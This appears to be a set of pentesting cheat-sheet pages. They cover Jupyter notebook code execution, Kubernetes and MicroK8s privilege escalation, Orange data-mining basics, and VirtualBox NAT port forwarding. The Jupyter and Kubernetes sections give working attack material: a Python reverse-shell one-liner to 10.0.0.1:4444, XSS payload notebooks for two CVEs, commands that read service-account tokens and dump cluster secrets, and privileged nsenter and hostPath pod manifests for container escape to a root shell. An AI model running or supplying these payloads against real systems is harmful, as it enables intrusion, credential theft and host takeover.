Jupyter Notebook Pentesting
Jupyter notebook is a web-based interactive computing platform. It’s often used for machine learning, data science, etc. It runs locally at 127.0.0.1:8888 by default.
Run Notebook Server Locally
# For Jupyterlab (more advanced than notebook)
pip install jupyterlab
jupyter-lab
# Specify the token
jupyter-lab --NotebookApp.token=abcdef...
# For Notebook (classic)
pip install notebook
jupyter notebook
# Specify the token
jupyter notebook --NotebookApp.token=abcdef...
After that, we can access to http://127.0.0.1:8888/
in browser.
Authorization with Token
Reference: https://jupyter-notebook.readthedocs.io/en/stable/security.html
If we have the token for Jupyter notebook server, we can authorize it by adding the token in the “Authorization” HTTP header.
Or we can also add the token to URL parameter.
Or directly input the login form.
Common Directories
Remote Code Execution (RCE)
If the target machine opens the Jupyter notebook server then we can access to it from outside, we can simply execute arbitrary Python script in notebook. In short, we can get a shell by reverse shell!
First off, start a listener in local machine.
After that, open some .ipynb
file in Jupyter notebook top page, then input the following script and run.
import socket,os,pty;s=socket.socket();s.connect(("10.0.0.1", 4444));[os.dup2(s.fileno(),fd) for fd in (0,1,2)];pty.spawn("bash")
We should get a shell in local terminal.
.ipynb RCE (CVE-2021-32797, CVE-2021-32798)
Reference: https://github.com/google/security-research/security/advisories/GHSA-c469-p3jp-2vhx
We can inject arbitrary code in .ipynb
file. Create the following file e.g. “exploit.ipynb” then upload it to Jupyter Notebook directory.
- Jupyter Notebook
{
"cells": [
{
"cell_type": "code",
"execution_count": 0,
"metadata": {},
"outputs": [
{
"data": {
"text/html": [
"<select><iframe></select><img src=x: onerror=alert('xss')>\n"],
"text/plain": []
},
"metadata": {},
"output_type": "display_data"
}
],
"source": [
""
]
}
],
"metadata": {
"kernelspec": {
"display_name": "Python 3",
"language": "python",
"name": "python3"
},
"language_info": {
"codemirror_mode": {
"name": "ipython",
"version": 3
},
"file_extension": ".py",
"mimetype": "text/x-python",
"name": "python",
"nbconvert_exporter": "python",
"pygments_lexer": "ipython3",
"version": "3.9.6"
}
},
"nbformat": 4,
"nbformat_minor": 5
}
- Jupyter Lab
{
"cells": [
{
"cell_type": "markdown",
"metadata": {},
"source": [
"<label for=buttonid style=\"cursor: text\">not safe to click here</label>\n"
]
},
{
"cell_type": "markdown",
"metadata": {
"highlighter": "codemirror"
},
"source": "<div class=\"jp-InputArea-editor\"><div class=\"CodeMirror cm-s-jupyter\"><div class=\"CodeMirror-scroll\"><div class=\"CodeMirror-sizer\"><div style=\"top:0px; position:relative\"><div class=\"CodeMirror-lines\"><div style=\"outline:none; position:relative\"><div class=\"CodeMirror-code\"><div style=\"position: relative\"><label for=buttonid style=\"cursor: text\"><pre class=\"CodeMirror-line\" style=\"background:transparent\"><span style=\"padding-right: 0.1px\"><span class=\"cm-builtin\">print</span>(<span class=\"cm-string\">"Also not safe to click here"</span>)</span></pre></label></div></div></div></div></div></div></div></div></div>"
},
{
"cell_type": "code",
"execution_count": 0,
"metadata": {
"xrender": true
},
"outputs": [
{
"data": {
"text/html": [
"<form id=jp-mk-edit action='javascript:alert(1)' style='display:none'><button type=submit id=buttonid></form>\n"
],
"text/plain": []
},
"metadata": {},
"output_type": "display_data"
}
],
"source": ""
}
],
"metadata": {
"kernelspec": {
"display_name": "Python 3",
"language": "python",
"name": "python3"
},
"language_info": {
"codemirror_mode": {
"name": "ipython",
"version": 3
},
"file_extension": ".py",
"mimetype": "text/x-python",
"name": "python",
"nbconvert_exporter": "python",
"pygments_lexer": "ipython3",
"version": "3.9.6"
}
},
"nbformat": 4,
"nbformat_minor": 5
}
Kubernetes Pentesting
A portable, extensible, open source platform for managing containerized workloads and services, that facilitates both declarative configuration and automation. Default ports are 6443, 8443.
Check if the Kubectl Command Available in Target Machine
If we cannot find kubectl, upload the binary from local machine.
First off, install the kubectl in local machine.
curl -LO "https://dl.k8s.io/release/$(curl -L -s https://dl.k8s.io/release/stable.txt)/bin/linux/amd64/kubectl"
python3 -m http.server
Then download the binary file into remote machine.
Investigation From Inside
# Get JWT
cat /var/run/secrets/kubernetes.io/serviceaccount/token
# if we find the token, decode it in https://jwt.io/
# Sensitive information in the directory
ls -a /var/lib/k0s/containerd/
# Check your permission
kubectl auth can-i --list
# /var/run/secrets/kubernetes.io/serviceaccount/token
kubectl auth can-i --list --token=<JWT>
# All information
kubectl get all
# Pods
kubectl get pods
# -A: List all pods across all namespaces
kubectl get pods -A
# Get the detail information abou the pod
# -o: Output format
kubectl get pod <pod-name> -o yaml
# Specify the namespace
kubectl get pod <pod-name> -n <namespace> -o yaml
# Jobs
kubectl get job -n <namespace>
# -o: Output details
kubectl get job -n <namespace> -o json
# Secrets
kubectl get secrets
kubectl get secrets -n <namespace>
# Get the specific secret
kubectl get secret <secret-name> -o json
kubectl get secret <secret-name> -n <namespace> -o json
# Edit the secret
kubectl edit secret <secret-name>
kubectl edit secret <secret-name> -n <namespace>
# List all data contained in the specific secret
kubectl describe secret <secret-name>
kubectl describe secret <secret-name> -n <namespace>
# Create a ServiceAccount
kubectl create serviceaccount api-explorer
# Bind the ClusterRole to the ServiceAccount
# eg. namespace: default
kubectl create rolebinding api-explorer:log-reader --clusterrole log-reader --serviceaccount default:api-explorer
Investigation via Kubernetes API Server
If we get the JWT, we can fetch information by the following commans.
# -k: insecure (HTTPS)
curl -k -v -H "Authorization: Bearer <jwt-token>" https://<target-ip>:<target-port>/api/v1/namespaces/default/pods/
curl -k -v -H "Authorization: Bearer <jwt-token>" https://<target-ip>:<target-port>/api/v1/namespaces/default/secrets/
Privilege Escalation (Escape) using the Container Image
1. Get Information About the Target Pod
In the output, check the image name in the containers image.
2. Create a Pod Yaml File
Create "pod.yaml".
Replace the containers image value (\<image_name>) with the one we found in the previous section.
spec:
hostPID: true
containers:
- name: '1'
image: <image_name>
command:
- nsenter
- '--mount=/proc/1/ns/mnt'
- '--'
- /bin/bash
stdin: true
tty: true
securityContext:
privileged: true
After that, convert the YAML to JSON using online tools such as the Online Converter.
In the tool, check the “Minimize JSON” to make the json to the one line.
3. Run the New Container to Privilege Escalation
Replace with \<image_name> with the one we found in the previous section.
kubectl run testbox --restart Never -it --rm --image newimage --overrides '{"spec":{"hostPID":true,"containers":[{"name":"1","image":"<image_name>","command":["nsenter","--mount=/proc/1/ns/mnt","--","/bin/bash"],"stdin":true,"tty":true,"securityContext":{"privileged":true}}]}}'
Now we should escape the container and get a target shell.
Privilege Escalation using Bad Pods
Reference: everything-allowed-exec-pod.yaml
1. Download the Bad Pod
At first, you need to download the bad pod on your local machine.
wget https://raw.githubusercontent.com/BishopFox/badPods/main/manifests/everything-allowed/pod/everything-allowed-exec-pod.yaml -O privesc.yaml
After downloading the yaml file, we need to replace the value of metadata.containers.image with the existing container image that we can find in the target container.
Then start web server to allow the target machine to get this bad pod.
2. Trasfer the Bad Pod to the Target Machine
On the target machine, download the bad pod from your local machine.
3. Create the Pod
# Create the pod
kubectl apply -f privesc.yaml --token=<JWT>
# List all pods
kubectl get pods --token=<JWT>
4. Get a Shell**
We should get a shell and can investigate the mounted folder.
MicroK8s Pentesting
MicroK8s is a small, fast, single-package Kubernetes for developers.
- [microk8s.io](https://microk8s.io/docs/services-and-ports)
Ports and Services
- Port 10250 - kubelet
- Port 10255 - kubelet (read only)
- Port 10257 - kube-controller
- Port 10259 - kube-scheduler
- Port 16443 - API server
- Port 25000 - cluster-agent
- Port 32000 - Docker registry
Docker Registry (port 32000)
It is the same as Docker Registry Pentesting .
Investigation from Inside
Privilege Escalation (CVE-2019-15789) ≤ 1.15.2
See the post for details.
1. Create a Pod Yaml File
Replace the value of spec.containers.image with the image which we found in target system.
apiVersion: v1
kind: Pod
metadata:
name: hostmount
spec:
containers:
- name: shell
image: ubuntu:latest
command:
- "bin/bash"
- "-c"
- "sleep 10000"
volumeMounts:
- name: root
mountPath: /opt/root
volumes:
- name: root
hostPath:
path: /
type: Directory
2. Apply the Yaml and Get a Root Shell
microk8s kubectl apply -f exploit.yaml
# "hostmount" is the value of the metadata.name in the exploit.yaml
microk8s kubectl exec -it hostmount /bin/bash
3. Explore Directories
After getting a shell, we can explore the directories under /opt/root which is mounted volume.
Orange Data Mining
Orange is a data-mining and machine learning software that allows users to analyze data, create visualizations, and build predictive models.
- [orange3](https://orange3.readthedocs.io/projects/orange-visual-programming/en/latest/index.html)
Installation & Start
To install Orange, we can install it with pip
in Linux.
Basic Usage
1. Start Orange Software
2. Open .OWS File
When the Orange starts, open the .ows
file.
3. Import Data File
Add the File widget in the left pane, and import data file such as .csv
.
4. Workflows
Connect the File widget with the Scatter Plot widget and open the Scatter Plot. We can see the data with plot.
VirtualBox Settings for NAT Network & Port Forwarding
In VirtuaoBox, we can connect between a Host OS and a Guest OS by setting NAT network and port forwarding.
1. Creat a New Network
- Open network settings in Tools menu.
-
In General Options tab, fill each field as below. Regarding
IPv4 Prefix
field, we can see the IP address of local network byip config
command in Windows, orip addr
command inLinux. Here is the example.- Name: MyNetwork
- IPv4 Prefix:
10.x.x.x/24
or192.168.x..x/24
Then uncheck
Enable DHCP
to set static ip address. -
In Port Forwarding tab, set ip/port for each guest OS. Here is the example.
- Name: Guest 1
- Protocol: TCP
- Host IP: (empty)
- Host Port: 9999 (note that this value must not duplicate the other Host Port in other guest OS line)
- Guest IP: 192.168.11.100
- Guest Port: 1234
2. Set the Network to Each Guest OS Network
- Open settings in guest OS.
- In Network configuration, select
NAT Network
and set the network name (e.g. MyNetwork) which has been created the previous section.
3. Set Static IP Address in Guest OS
Now start the guest OS in VirtualBox.
Since we disabled DHCP, we need to set static IP address attached for the guest as it was set in Port Forwarding
settings of Network configurations.
Linux
Below is the Parrot OS example.
- Right-click on the network icon at the top-right on screen.
- Select a connection name and click on the settings icon at the bottom.
-
Go to IPv4 Settings tab, select
Manual
inMethod
menu. Then fill each field as below. These values should be matched as the previous network settings for the guest OS.- Address: 192.168.11.100
- Netmask: 24
- Gateway: 192.168.11.1
- DNS servers: 192.168.11.1 (or public DNS server ip like 8.8.8.8)
Windows
- Open Settings.
- Go to Network and Internet settings.
- Click current connection.
- Click Edit in the IP settings.
- Select
Manual
and enable theIPv4
switch. - Fill each field. Please see the above (Parrot OS) section to check each value.
- Click Save.
4. Connect From Host to Guest
Finally, we can connect to the guest OS from our host. For example,
HTTP
# In guest OS, start web server on port 1234.
python3 -m http.server 1234
# In host OS, we can access to the web server on local port 9999.
curl http://localhost:9999
SSH
# In guest OS, start SSH server on port 1234.
sudo vim /etc/ssh/sshd_config # edit port number to 1234 from the default port 22.
sudo systemctl start ssh
# In host OS, we can connect SSH on local port 9999
ssh parrot@localhost -p 9999
5. Connect From Guest to Host
To connect to host OS from the guest, we can achieve by follow.
HTTP
# In host OS, start web server on arbitrary port
python3 -m http.server 8000
# In guest OS, we can access to the web server by specifying the second ip address (x.x.x.2) in local network.
curl http://192.168.11.2:8000
- http://www.quarkslab.com/
Virtual machine templates for Windows - https://github.com/quarkslab/windows